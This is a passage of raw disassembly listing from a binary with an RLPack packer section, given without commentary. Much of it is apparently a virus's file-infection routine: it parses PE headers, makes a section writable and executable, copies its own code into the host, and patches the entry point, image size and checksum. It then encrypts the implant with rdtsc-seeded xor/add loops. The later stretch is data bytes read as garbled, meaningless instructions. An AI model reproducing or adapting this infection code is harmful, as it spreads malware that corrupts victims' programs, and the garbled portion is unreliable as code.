ecx, [esi+20h] jz loc_43C4F9 jecxz short loc_43C20B cmp ecx, 101h jbe loc_43C4F9 loc_43C20B: ; CODE XREF: sub_43C1BC+41j call sub_43C0DD jb loc_43C4F9 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_43AD15 xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_43C235: ; CODE XREF: sub_43C1BC+92j push 20h dec cl pop eax js short loc_43C250 call sub_43AD15 test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_43C235 ; --------------------------------------------------------------------------- loc_43C250: ; CODE XREF: sub_43C1BC+7Ej ; sub_43C1BC+CDj ... push 6 pop ecx loc_43C256: ; CODE XREF: sub_43C1BC+B8j push 6 pop eax call sub_43AD15 mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_43C256 test dword ptr [ebp+403431h], 8 jnz short loc_43C28B cmp byte ptr [ebp+40342Bh], 1 jz short loc_43C250 loc_43C28B: ; CODE XREF: sub_43C1BC+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_43C2B2 cmp byte ptr [ebp+403429h], 5 jz short loc_43C250 cmp byte ptr ss:loc_40342A[ebp], 5 jz short loc_43C250 cmp byte ptr [ebp+40342Bh], 5 jz short loc_43C250 loc_43C2B2: ; CODE XREF: sub_43C1BC+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_43C2C7 cmp byte ptr [ebp+403429h], 2 ja short loc_43C250 loc_43C2C7: ; CODE XREF: sub_43C1BC+100j and dword ptr [ebp+4039AEh], 0 call loc_43B762 call sub_43C098 call sub_43C502 mov ebx, [ebp+403976h] call sub_43BFC6 jz loc_43C4F9 mov esi, dword ptr ss:loc_403972[ebp] mov ebx, [esi+3Ch] add ebx, esi call sub_43C0DD jb loc_43C4F9 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_43C32F lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_43C32F: ; CODE XREF: sub_43C1BC+163j push edi mov ecx, 90Fh lea esi, sub_401000[ebp] rep movsd mov cl, 0 jecxz short loc_43C343 rep movsb loc_43C343: ; CODE XREF: sub_43C1BC+183j test dword ptr [ebp+403431h], 10000000h jz loc_43C3FB push dword ptr [ebx+28h] call sub_43B4CA mov edx, [ebp+4039A6h] test edx, edx jz loc_43C3FB mov esi, dword ptr ss:loc_403972[ebp] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_43C380 xor ecx, ecx loc_43C380: ; CODE XREF: sub_43C1BC+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_43C3E7 mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, dword ptr ss:loc_403986[ebp] test dword ptr [ebp+403431h], 40h jz short loc_43C3C0 neg dword ptr [eax] loc_43C3C0: ; CODE XREF: sub_43C1BC+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_43C3DE neg dword ptr [eax] loc_43C3DE: ; CODE XREF: sub_43C1BC+21Ej push ecx call sub_43C098 pop ecx jmp short loc_43C3F3 ; --------------------------------------------------------------------------- loc_43C3E7: ; CODE XREF: sub_43C1BC+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_43C3F3: ; CODE XREF: sub_43C1BC+229j lea esi, [ebp+40343Ch] rep movsb loc_43C3FB: ; CODE XREF: sub_43C1BC+191j ; sub_43C1BC+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_43C414 imul edx, 12345678h loc_43C414: ; CODE XREF: sub_43C1BC+250j mov [eax-1], dl call sub_43A3E8 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_43C445 mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_43C445: ; CODE XREF: sub_43C1BC+274j sub eax, [ebx+28h] push dword ptr ss:loc_40397E[ebp] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_43C46A push edx call sub_43BD90 pop edx loc_43C46A: ; CODE XREF: sub_43C1BC+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_43C475 mov [ebx+28h], ecx loc_43C475: ; CODE XREF: sub_43C1BC+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_43C486 mov [edx+8], ecx loc_43C486: ; CODE XREF: sub_43C1BC+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, dword ptr ss:loc_40397A[ebp] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_43C4B7 add ecx, [ebp+40106Dh] loc_43C4B7: ; CODE XREF: sub_43C1BC+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_43C4D9 inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_43C4D9 mov dh, [ebp+403430h] loc_43C4D9: ; CODE XREF: sub_43C1BC+307j ; sub_43C1BC+315j test dword ptr [ebp+403431h], 4000h jnz short loc_43C4F0 loc_43C4E5: ; CODE XREF: sub_43C1BC+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_43C4E5 jmp short loc_43C4F9 ; --------------------------------------------------------------------------- loc_43C4F0: ; CODE XREF: sub_43C1BC+327j ; sub_43C1BC+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_43C4F0 loc_43C4F9: ; CODE XREF: .RLPack:0043C1B7j ; sub_43C1BC+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_43C1BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43C502 proc near ; CODE XREF: sub_43C1BC+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_43C097 push dword ptr ss:loc_403972[ebp] call dword ptr ss:loc_4035C4[ebp] loc_43C51B: ; CODE XREF: sub_43BFC6+C5j push dword ptr [ebp+40396Eh] call dword ptr [ebp+40353Ch] lea ecx, loc_40395A[ebp] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_43C543: ; CODE XREF: sub_43BFC6+6Bj ; sub_43BFC6+82j ... push dword ptr [ebp+403956h] call dword ptr [ebp+40353Ch] loc_43C54F: ; CODE XREF: sub_43BFC6+45j lea esi, loc_40384E[ebp] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_43C502 endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 40384EB5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h, 3E8h, 24C200h dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h dd 3413ED81h, 39E80040h, 61FFFFE5h, 60004C2h, 2050301h dd 0D94DF307h, 0FF1E5EC5h, 10D815h, 0E8609001h, 0 ; --------------------------------------------------------------------------- mov ebp, [esp] add esp, 4 cmp dword ptr [esp+28h], 1 jnz short loc_43C681 mov eax, [esp+24h] mov [ebp+43Ch], eax jmp short loc_43C68D ; --------------------------------------------------------------------------- loc_43C681: ; CODE XREF: .RLPack:0043C673j mov eax, [ebp+438h] mov [ebp+43Ch], eax loc_43C68D: ; CODE XREF: .RLPack:0043C67Fj lea esi, [ebp+460h] lea ebx, [ebp+2EBh] xor edi, edi call loc_43C7F2 jmp short loc_43C6BD ; --------------------------------------------------------------------------- loc_43C6A2: ; CODE XREF: .RLPack:0043C6C1j mov eax, [ebp+43Ch] push dword ptr [edi+esi+4] add [esp], eax push dword ptr [edi+esi] add [esp], eax call ebx add esp, 8 add edi, 8 loc_43C6BD: ; CODE XREF: .RLPack:0043C6A0j cmp dword ptr [edi+esi], 0 jnz short loc_43C6A2 cmp dword ptr [ebp+448h], 0 jz short loc_43C6DA cmp dword ptr [ebp+44Ch], 0 jz short loc_43C6DA call loc_43C892 loc_43C6DA: ; CODE XREF: .RLPack:0043C6CAj ; .RLPack:0043C6D3j lea esi, [edi+esi+4] push ebx push 40h push 1000h push 0A5h push 0 inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 dd 1Ch dup(0) dd 9B470000h, 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_43C77D: ; CODE XREF: .RLPack:0043C7F9j ; .RLPack:0043C7B5j add [esi+247C80BDh], dh sbb al, [eax-7F6BA384h] jl short loc_43C7F2 and eax, [eax-7EFBD384h] jl short near ptr loc_43C7C7+3 push es cmp dword ptr [edi+ecx+4Bh], 0C0587C86h ; CODE XREF: .RLPack:0043C805j cmp byte ptr [esp+ebp*8-19h], 80h ; CODE XREF: .RLPack:0043C7BDj jl short near ptr loc_43C7DC+3 loc_43C7A3: ; CODE XREF: .RLPack:0043C811j adc eax, 0A777C81h cmp dword ptr [ebp+eax*2+1Ch], 0B6A17C83h cmp byte ptr [edi+edi*8+8], 86h jl short near ptr loc_43C77D+4 pop ebp loc_43C7B8: ; CODE XREF: .RLPack:0043C7D1j cmp dword ptr [edx+ebx*8+11h], 0FFFFFF81h jl short near ptr loc_43C79C+1 sub al, [ecx-7FE28884h] jl short loc_43C7CC loc_43C7C7: ; CODE XREF: .RLPack:0043C791j mov ecx, 0BB767C80h loc_43C7CC: ; CODE XREF: .RLPack:0043C7C5j cmp byte ptr [ecx+9], 83h jl short loc_43C7B8 cmp eax, 3F587C86h xchg bh, [edx+eax*4+27h] loc_43C7DC: ; CODE XREF: .RLPack:0043C7A1j cmp dword ptr [eax+edi*4+1Ch], 24427C83h cmp byte ptr [esp+ebx+0Bh], 81h jl short near ptr byte_43C85F mov ecx, 9A517C80h ; --------------------------------------------------------------------------- db 80h, 7Ch ; --------------------------------------------------------------------------- loc_43C7F2: ; CODE XREF: .RLPack:0043C69Bp ; .RLPack:0043C789j xchg ecx, ds:0D4607C81h nop jl short loc_43C77D setalc nop jl short near ptr byte_43C853 xlat nop jl short near ptr dword_43C86C xlat nop jl short near ptr loc_43C794+6 xlat nop jl short near ptr dword_43C860 fcom qword ptr [eax-6F230284h] jl short loc_43C7A3 fst qword ptr [eax-6F214984h] jl short near ptr byte_43C84D jmp far ptr 7C91h:30C67C90h ; --------------------------------------------------------------------------- align 4 dd 0Ah dup(0) db 0 byte_43C84D db 3 dup(0) ; CODE XREF: .RLPack:0043C819j db 3 dup(0) byte_43C853 db 0 ; CODE XREF: .RLPack:0043C7FDj dd 2 dup(0) db 3 dup(0) byte_43C85F db 0 ; CODE XREF: .RLPack:0043C7E9j dword_43C860 dd 3 dup(0) dword_43C86C dd 2 dup(0) dd 380036h, 43C87Ch, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h db 4Fh, 0 ; --------------------------------------------------------------------------- loc_43C892: ; CODE XREF: .RLPack:0043C6D5p bound eax, [eax] push 0 add gs:[ebx+0], ah jz short $+2 jnb short $+2 pop esp add [edi+0], dl xor eax, [eax] xor al, [eax] pop edi add [esi+0], dl imul eax, [eax], 740072h jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0BCh dup(0) dd 91h, 0Ch dup(0) dd 0F3h, 1192h dup(0) db 2 dup(0) _RLPack ends ; Section 3. (virtual address 00042000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00041400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 442000h dd 80h dup(0) align 1000h _idata2 ends end start